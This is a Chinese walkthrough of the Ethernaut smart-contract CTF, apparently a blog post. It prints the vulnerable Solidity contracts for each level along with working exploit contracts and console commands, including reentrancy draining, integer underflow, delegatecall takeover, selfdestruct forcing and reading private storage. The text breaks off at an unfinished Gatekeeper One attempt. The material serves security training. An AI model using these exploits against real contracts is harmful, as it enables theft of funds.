ethernaut训练笔记 前言 Ethernaut是一个类似于CTF的智能合约平台,集成了不少的智能合约相关的安全问题,这对于安全审计人员来说是一个很不错的学习平台,本篇文章将通过该平台来学习智能合约相关的各种安全问题,由于关卡较多,而且涉及合约的分析、攻击流程的演示所以篇幅较长,经过缩减最终定为两篇文章来分享。 平台地址:https://ethernaut.zeppelin.solutions
环境准备
前置知识 浏览器控制台 在整个Ethernaut平台的练习中我们需要通过Chrome浏览器的控制台来输入一系列的命令实现与合约的交互,在这里我们可以直接在Chrome浏览器中按下F12,之后选择Console模块打开浏览器控制台,并查看相关信息:
具体的交互视情况而定,例如: 当控制台中输入”player”时就看到玩家的地址信息(此时需实现Ethernaut与MetaMask的互动): 当输入getBlance(player)当前玩家的eth余额
如果要查看控制台中的其他实用功能可以输入”help”进行查看~以太坊合约 在控制台中输入”Ethernaut”即可查看当前以太坊合约所有可用函数:
通过加”.”可以实现对各个函数的引用(这里也可以把ethernaut当作一个对象实例):
获取关卡示例 我们可以通过点击“Get new instance”来获取关卡示例:
过关斩将 Hello Ethernaut Hello Ethernaut这一关的目的是让玩家熟悉靶场操作(控制台的交互、MetaMask的交互等),因此依次按照提示一步一步做就可以完成了~ 首先点击”Get new instance”来获取关卡示例:
之后交易确认后返回一个交互合约地址:
之后在控制台中根据提示输入以下指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 await contract.info() "You will find what you need in info1()." await contract.info1() "Try info2(), but with "hello" as a parameter." await contract.info2("hello") "The property infoNum holds the number of the next info method to call." await contract.infoNum() 42 await contract.info42() "theMethodName is the name of the next method." await contract.theMethodName() "The method name is method7123949." await contract.method7123949() "If you know the password, submit it to authenticate()." await contract.password() "ethernaut0" await contract.authenticate("ethernaut0")
之后等合约交互完成后直接点击”submit instance”提交答案,并获取当前关卡的源代码:
之后等交易完成后给出完成关卡的提示:
并在下方给出源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 pragma solidity ^0.4.18; contract Instance { string public password; uint8 public infoNum = 42; string public theMethodName = 'The method name is method7123949.'; bool private cleared = false; // constructor function Instance(string _password) public { password = _password; } function info() public pure returns (string) { return 'You will find what you need in info1().'; } function info1() public pure returns (string) { return 'Try info2(), but with "hello" as a parameter.'; } function info2(string param) public pure returns (string) { if(keccak256(param) == keccak256('hello')) { return 'The property infoNum holds the number of the next info method to call.'; } return 'Wrong parameter.'; } function info42() public pure returns (string) { return 'theMethodName is the name of the next method.'; } function method7123949() public pure returns (string) { return 'If you know the password, submit it to authenticate().'; } function authenticate(string passkey) public { if(keccak256(passkey) == keccak256(password)) { cleared = true; } } function getCleared() public view returns (bool) { return cleared; } }
从源代码中可以看到该关卡其实是一系列的函数调用与传参操作,其实该关卡就是让玩家熟悉控制台和MetaMask的使用以及配合交互操作!
Fallback 闯关要求
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; //合约Fallback继承自Ownable contract Fallback is Ownable { using SafeMath for uint256; mapping(address => uint) public contributions; //通过构造函数初始化贡献者的值为1000ETH function Fallback() public { contributions[msg.sender] = 1000 * (1 ether); } // 将合约所属者移交给贡献最高的人,这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] = contributions[msg.sender].add(msg.value); if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } //获取请求者的贡献值 function getContribution() public view returns (uint) { return contributions[msg.sender]; } //取款函数,且使用onlyOwner修饰,只能被合约的owner调用 function withdraw() public onlyOwner { owner.transfer(this.balance); } //fallback函数,用于接收用户向合约发送的代币 function() payable public { require(msg.value > 0 && contributions[msg.sender] > 0);// 判断了一下转入的钱和贡献者在合约中贡献的钱是否大于0 owner = msg.sender; } }
合约分析 通过源代码我们可以了解到要想改变合约的owner可以通过两种方法实现: 1、贡献1000ETH成为合约的owner(虽然在测试网络中我们可以不断的申请测试eth,但由于每次贡献数量需要小于0.001,完成需要1000/0.001次,这显然很不现实~) 2、通过调用回退函数fallback()来实现 显然我们这里需要通过第二种方法来获取合约的owner,而触发fallback()函数也有下面两种方式:
没有其他函数与给定函数标识符匹配
合约接收没有数据的纯ether(例如:转账函数))
因此我们可以调用转账函数”await contract.sendTransaction({value:1})”或者使用matemask的转账功能(注意转账地址是合约地址也就是说instance的地址)来触发fallback()函数。 那么分析到这里我们从理论上就可以获取合约的owner了,那么我们如何转走合约中的eth呢?很明显,答案就是——调用withdraw()函数来实现。
攻击流程 1 2 3 contract.contribute({value: 1}) //首先使贡献值大于0 contract.sendTransaction({value: 1}) //触发fallback函数 contract.withdraw() //将合约的balance清零
首先点击”Get new instance”来获取一个实例:
之后开始交互,首先查看合约地址的资产总量,并向其转1wei
等交易完成后再次获取balance发现成功改变:
通过调用sendTransaction函数来触发fallback函数并获取合约的owner:
之后等交易完成后再次查看合约的owner,发现成功变为我们自己的地址:
之后调用withdraw来转走合约的所有代币
之后点击”submit instance”即可完成闯关:
Fallout 闯关要求 获取合约的owner权限
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Fallout is Ownable { using SafeMath for uint256; mapping (address => uint) allocations; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(this.balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
合约分析 该关卡的要求是获取合约的owner,我们从上面的代码中可以看到没有类似于上一关的回退函数也没有相关的owner转换函数,但是我们在这里却发现一个致命的错误————构造函数名称与合约名称不一致使其成为一个public类型的函数,即任何人都可以调用,同时在构造函数中指定了函数调用者直接为合约的owner,所以我们可以直接调用构造函数Fal1out来获取合约的ower权限。
攻击流程 直接调用构造函数Fal1out来获取合约的ower权限即可。 点击“Get new instance”来获取示例:
之后查看当前合约的owner,并调用构造函数来更换owner:
等交易完成后,再次查看合约的owner发现已经发生变化了:
之后点击“submit instance”来提交答案即可:
Coin Flip 闯关要求 这是一个掷硬币游戏,你需要通过猜测掷硬币的结果来建立你的连胜记录。要完成这个等级,你需要使用你的通灵能力来连续10次猜测正确的结果。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity ^0.4.18; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
合约分析 在合约的开头先定义了三个uint256类型的数据——consecutiveWins、lastHash、FACTOR,其中FACTOR被赋予了一个很大的数值,之后查看了一下发现是2^255。 之后定义的CoinFlip为构造函数,在构造函数中将我们的猜对次数初始化为0。 之后的flip函数先定义了一个blockValue,值是前一个区块的hash值转换为uint256类型,block.number为当前的区块数,之后检查lasthash是否等于blockValue,相等则revert,回滚到调用前状态。之后便给lasthash赋值为blockValue,所以lasthash代表的就是上一个区块的hash值。 之后就是产生coinflip,它就是拿来判断硬币翻转的结果的,它是拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等,下面的代码就是简单的判断了。 通过对以上代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值,看起来这似乎是随机的,它也确实是随机的,然而事实上它也是可预测的,因为一个区块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果。因为块之间的间隔也只有10s左右,要手工在命令行下完成合约分析中操作还是有点困难,所以我们需要在链上另外部署一个合约来完成这个操作,在部署时可以直接使用http://remix.ethereum.org来部署 Exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 pragma solidity ^0.4.18; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue/FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } } contract exploit { CoinFlip expFlip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function exploit(address aimAddr) { expFlip = CoinFlip(aimAddr); } function hack() public { uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); bool guess = coinFlip == 1 ? true : false; expFlip.flip(guess); } }
攻击流程 点击“Get new Instance”获取一个实例:
之后获取合约的地址以及”consecutiveWins”的值:
之后在remix中编译合约
之后在remix中部署“exploit”合约,这里需要使用上面获取到的合约地址:
之后合约成功部署:
之后点击”hack”实施攻击(至少需要调用10次):
之后再次查看“consecutiveWins”的值,直到大于10时提交即可:
之后点击“submit instance”提交示例:
之后成功闯关:
Telephone 闯关要求
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.4.18; contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
合约分析 前面是个构造函数,把owner赋给了合约的创建者,照例看了一下这是不是真的构造函数,确定没有问题,下面一个changeOwner函数则检查tx.origin和msg.sender是否相等,如果不一样就把owner更新为传入的owner。 这里涉及到了tx.origin和msg.sender的区别,前者表示交易的发送者,后者则表示消息的发送者,如果情景是在一个合约下的调用,那么这两者是木有区别的,但是如果是在多个合约的情况下,比如用户通过A合约来调用B合约,那么对于B合约来说,msg.sender就代表合约A,而tx.origin就代表用户,知道了这些那么就很简单了,和上一个题目一样,我们这里需要另外部署一个合约来调用这儿的changeOwner: Exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pragma solidity ^0.4.18; contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } contract exploit { Telephone target = Telephone(your instance address); function hack(){ target.changeOwner(msg.sender); } }
攻击流程 点击“Get new Instance”来获取一个实例: 之后查看合约的地址: 之后用上面的地址替换exploit中的地址,最终的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pragma solidity ^0.4.18; contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } contract exploit { Telephone target = Telephone(0x932b6c14f6dd1a055206b0784f7b38d2217d30e5); function hack(){ target.changeOwner(msg.sender); } }
之后在remix中编译合约: 部署合约 之后查看原合约的owner地址: 之后点击“hack”来实施攻击: 之后成功变换合约的owner 之后点击“submit instance”来提交示例即可:
Token 闯关要求 玩家初始有token20个,想办法黑掉这个智能合约来获取得更多Token!
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.4.18; contract Token { mapping(address => uint) balances; uint public totalSupply; function Token(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
合约分析 此处的映射balance代表了我们拥有的token,然后通关构造函数初始化了owner的balance,虽然不知道是多少,下面的transfer函数的功能为转账操作,最下面的balanceOf函数功能为查询当前账户余额。 通过粗略的一遍功能查看之后我们重点来看此处的transfer()函数
1 2 3 4 5 6 function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; }
在该函数中最为关键第一处就是”require”校验,此处可以通过“整数下溢”来绕过检查,同时这里的balances和value都是无符号整数,所以无论如何他们相减之后值依旧大于0(在相等的条件下为0)。 那么在当前题目条件下(题目中token初始化为20),所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 - 1
攻击流程 点击“Get new instance”来获取一个实例 之后调用transfer函数向玩家地址转币:
之后等交易完成之后,我们可以看到玩家的代币数量会变得非常非得多,和我们之前预期的一样:
之后我们点击“submit instance”提交答案即可:
Delegation 闯关要求 获取合约的owner权限。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.4.18; contract Delegate { address public owner; function Delegate(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } function() public { if(delegate.delegatecall(msg.data)) { this; } } }
合约分析 在这里我们看到了两个合约,Delegate初始化时将传入的address设定为合约的owner,下面一个pwn函数也引起我们的注意,从名字也能看出挺关键的。 之后下面的Delegation合约则实例化了上面的Delegate合约,其fallback函数使用了delegatecall来调用其中的delegate合约,而这里的delegatecall就是问题的关键所在。 我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下: 1、call 的外部调用上下文是外部合约 2、delegatecall 的外部调用上下是调用合约上下文 3、callcode() 其实是 delegatecall() 之前的一个版本,两者都是将外部代码加载到当前上下文中进行执行,但是在 msg.sender 和 msg.value 的指向上却有差异。
在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个自己就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。
经过上面的简要分析,问题就变很简单了,sha3我们可以直接通过web3.sha3来调用,而delegatecall在fallback函数里,我们得想办法来触发它,前面已经提到有两种方法来触发,但是这里我们需要让delegatecall使用我们发送的data,所以这里我们直接用封装好的sendTransaction来发送data,其实到了这里我也知道了前面fallback那关我们也可以使用这个方式来触发fallback函数:
1 contract.sendTransaction ({data :web3.sha3 ("pwn()" ).slice (0 ,10 )});
攻击流程 点击“get new instance”来获取一个实例 之后通过fallback函数里的delegatecall来调用pwn函数更换owner: 之后点击“submit instance”来提交答案
Force 闯关要求 让合约的balance比0多
合约代码 1 2 3 4 5 6 7 8 9 10 11 pragma solidity ^0.4.18; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */}
合约分析 第一眼看上去——懵了,这是什么呀?一个猫???,合约Force中竟然没有任何相关的合约代码,感觉莫名奇妙。。。 经过查看资料,发现在以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点,这里确实是比较有趣了。 那么接下来就非常简单了,我们只需要创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给我们的目标合约就行了。
攻击流程 点击“Get new Instance”来获取一个实例:
之后获取合约地址 之后创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给目标合约:
1 2 3 4 5 6 7 pragma solidity ^0.4.20; contract Force { function Force() public payable {} function exploit(address _target) public { selfdestruct(_target); } }
编译合约 部署合约 之后调用“ForceSendEther()”函数,并传入合约的地址: 交易成功之后,再次查看合约的额度发现——“非零” 之后点击“submit instance”进行提及案例即可:
Vault 闯关要求 解锁用户。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pragma solidity ^0.4.18; contract Vault { bool public locked; bytes32 private password; function Vault(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
合约分析 从代码里可以看到我们需要得到它的密码来调用unlock函数以解锁合约,而且我们注意到在开始它是直接定义存储了password的,虽然因为是private我们不能直接看到,然而我们要知道这是在以太坊上,这是一个区块链,它是透明的,数据都是存在块里面的,所以我们可以直接拿到它。
这里通过getStorageAt函数来访问它,getStorageAt函数可以让我们访问合约里状态变量的值,它的两个参数里第一个是合约的地址,第二个则是变量位置position,它是按照变量声明的顺序从0开始,顺次加1,不过对于mapping这样的复杂类型,position的值就没那么简单了。
攻击流程 点击“Get new Instance”之后获取一个实例 之后在console下运行以下代码:
1 2 3 4 web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))}); 之后进行解锁: 之后点击“submit”来提交答案:
上篇分析至此结束,下篇目前已经写好,后续不久会奉上~
King 闯关要求 合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,但是如果你提交的话那么合约就会回退,让level重新成为国王,而我们的目标就是阻止这一情况的发生。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract King is Ownable { address public king; uint public prize; function King() public payable { king = msg.sender; prize = msg.value; } function() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } }
合约分析 从上面的代码中可以看到当国王被推翻时国王将会获得奖金,那么只要国王拒绝接受奖金就可以一直是国王。 通过上面的代码分析,我们可以部署以下攻击合约,当原智能合约有新的king诞生时会向我们的合约退还之前的奖金,但是攻击合约不接收,直接revert()那么就可以永远占据合约的king不放:
1 2 3 4 5 6 7 8 9 10 pragma solidity ^0.4.18; contract attack{ function attack(address _addr) public payable{ _addr.call.gas(10000000).value(msg.value)(); } function () public { revert(); } }
攻击流程 点击“Get new Instance”来获取一个实例: 之后先来查看一下prize值以及合约的king、合约的地址 之后我们在remix中编译并部署攻击合约: 合约部署地址: 之后再次查看king,发现已经变成了我们攻击合约的地址: 之后我们点击“submit instance”来提交该实例: 之后成功过关,当我们查看king时发现依旧是我们的攻击合约的地址:
Re-entrancy 闯关要求 盗取合约中的所有代币。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
合约分析 从上面的源代码可以确定这里应该为以太坊里的重入攻击,这也是之前The DAO事
里黑客所用到的攻击。 在这里我们重点来看withdraw函数
,我们可以看到它接收了一个_amount参数,将其与发送者的balance进行比较,不超过发送者的balance就将这些_amount发送给sender,同时我们注意到这里它用来发送ether的函数是call.value,发送完成后,它才在下面更新了sender的balances,这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether
,同样利用的是我们熟悉的fallback函数
来实现。
当然,这里还有另外一个关键的地方——call.value函数特性,当我们使用call.value()来调用代码时,执行的代码会被赋予账户所有可用的gas
,这样就能保证我们的fallback函数能被顺利执行,对应的,如果我们使用transfer和send函数来发送时,代码可用的gas仅有2300而已,这点gas可能仅仅只够捕获一个event,所以也将无法进行可重入攻击,因为send本来就是transfer的底层实现,所以他两性质也差不多。
根据上面的简易分析,我们可以编写一下EXP代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 pragma solidity ^0.6.2; import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} } contract ReentrancePoc { Reentrance reInstance; function getEther() public { msg.sender.transfer(address(this).balance); } constructor(address payable _addr) public payable { reInstance = Reentrance(_addr); } function callDonate() public payable{ reInstance.donate.value(msg.value)(address(this)); } function attack() public { reInstance.withdraw(0.001 ether); } receive() external payable { if(address(reInstance).balance >= 0.001 ether){ reInstance.withdraw(0.001 ether); } } }
攻击流程 点击“Get new Instance”来获取一个实例:
之后在remix中部署攻击合约 我们需要在受攻击的合约里给我们的攻击合约地址增加一些balance以完成withdraw第一步的检查:
1 await contract.donate("0x88C011679B3822AcBaA23E3Eb7d5E1545446EC52",{value: toWei("0.001")})
这样就成功给我们的攻击合约的balance增加了0.001 ether,这时你再使用getbalance去看合约拥有的eth就会发现变成了0.002,它本来上面存了0.001个eth,然后我们返回攻击合约运行attack函数就可以完成攻击了: 查看balance,在交易前后的变化:
然后运行getEther函数去将代币从合约提取到账户
最后点击“submit instance”来提交示例即可:
Elevator 闯关条件 这个电梯似乎并不会让你到达顶层,所以我们的闯关条件就是绕过这一限制
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
合约分析 在合约的开头处有一个Building接口,定义了isLastFloor函数,返回值是bool,应该是用来返回这一楼层是否为最顶层,在接口里没有函数是已实现的,类似于抽象合约,可以理解为它仅仅用来提供一个标准,这样继承于它的合约就可以遵照它的标准来进行交互,而接口内的函数在其调用合约内定义即可。
之后在下面的主合约里,定义了一个bool型的top变量,在goto函数里对传入的_floor变量进行了判断,从逻辑上我们发现判断的条件里如果isLastFloor返回false,通过if后再将isLastFloor的返回值赋给top,这样的话我们的top还是个false,而这里我们要想让top的值变为true,那么我们得想个办法在isLastFloor上动动手脚,由于goTo函数调用了两次isLastFloor,因此我们可以将该函数构造为取反函数即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } } contract exp { Elevator ele; bool t = true; constructor(address _addr) { ele = Elevator(_addr); } function isLastFloor(uint) public returns (bool) { t = !t; return t; } function attack() public { ele.goTo(5); } }
攻击流程 点击”Get new Instance”来获取一个实例:
之后获取合约的地址和当前top的值:
之后在remix中部署合约:之后调用attack来实施攻击,并且将合约地址进行传参:
之后查看top值发现已经变为了true: 之后点击“submit instance”来提交示例:
Privacy 闯关条件 将locked成为false
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
合约分析 根据solidity 文档中的变量存储原则,evm每一次处理32个字节,而不足32字节的变量相互共享并补齐32字节。 那么我们简单分析下题目中的变量,这个和C语言里面是类似的,就是变量之间共享一段空间那种:
1 2 3 4 5 6 bool public locked = true; //1 字节 01 uint256 public ID = block.timestamp; //32 字节 uint8 private flattening = 10; //1 字节 0a uint8 private denomination = 255;//1 字节 ff uint16 private awkwardness = uint16(now);//2 字节 bytes32[3] private data;
第一个32 字节就是由locked组成
,因为第二个ID占了32个字节,于是不能和locked组成一个块,
第二个32字节就是ID
了,32个字节刚好一个块
第三个32字节就是 flattening、denomination、awkwardness
组成,因为data是32字节的,所以从
第四个32 字节开始就是 data。 因为我们需要的是data[2],是第三个,因此只需要将第六个存储槽内容取出即可。
查看一下结构是否满足
发现确实和我们想象的一样
取出语句并提交:
1 web3.eth .getStorageAt (instance,5 ,function (x,y ){ contract.unlock (y.substring (0 , 34 ));})
注释
由于常量(constant)是无需存储的,所以constant类型的变量是不用在块计算里面的
攻击流程 点击“Get new instance”来获取一个实例:
之后将第6个存储槽内容取出,并将前16字节内容提取出来提交由于unlock:
1 web3.eth .getStorageAt (instance,5 ,function (x,y ){ contract.unlock (y.substring (0 , 34 ));})
之后查看locked的状态,已变为“flase” 之后点击“submit instance”来提交该实例:
在以太坊链上, 没有什么是私有的 private 关键词只是 solidity 中人为规定的一个结构. Web3 的 getStorageAt(...)
可以读取 storage 中的任何信息, 虽然有些数据读取的时候会比较麻烦. 因为 一些优化的技术和原则, 这些技术和原则是为了尽可能压缩 storage 使用的空间.
这不会比这个关卡中暴露的复杂太多. 更多的信息, 可以参见 “Darius” 写的这篇详细的文章: How to read Ethereum contract storage
Gatekeeper One 闯关条件 绕过三个函数修饰器的限制。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.4.18; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract GatekeeperOne { using SafeMath for uint256; address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas.mod(8191) == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
合约分析 从上面了解到要想enter需要满足gateOne、gateTwo、gateThree三个修饰器的检查条件,即需要满足以下条件: 1、gateOne :这个通过部署一个中间恶意合约即可绕过 2、gateTwo :这里的msg.gas 指的是运行到当前指令还剩余的 gas 量,要能整除 8191。那我们只需要 8191+x ,x 为从开始到运行完 msg.gas 所消耗的 gas。通过查阅资料发现msg.gas在文档里的描述是remaining gas,在Javascript VM环境下进行Debug可在Step detail 栏中可以看到这个变量,笔者在调试过程中未发现合适的gas值,暂未成功! 3、gateThree() 也比较简单,将 tx.origin 倒数三四字节换成 0000 即可。 bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 即可满足条件。 根据上面的分析给出EXP代码如下(笔者这里没有成功,主要是gateTwo的问题,没有找到合适的gas,而且编译器不同,初始gas值不同都会影响):
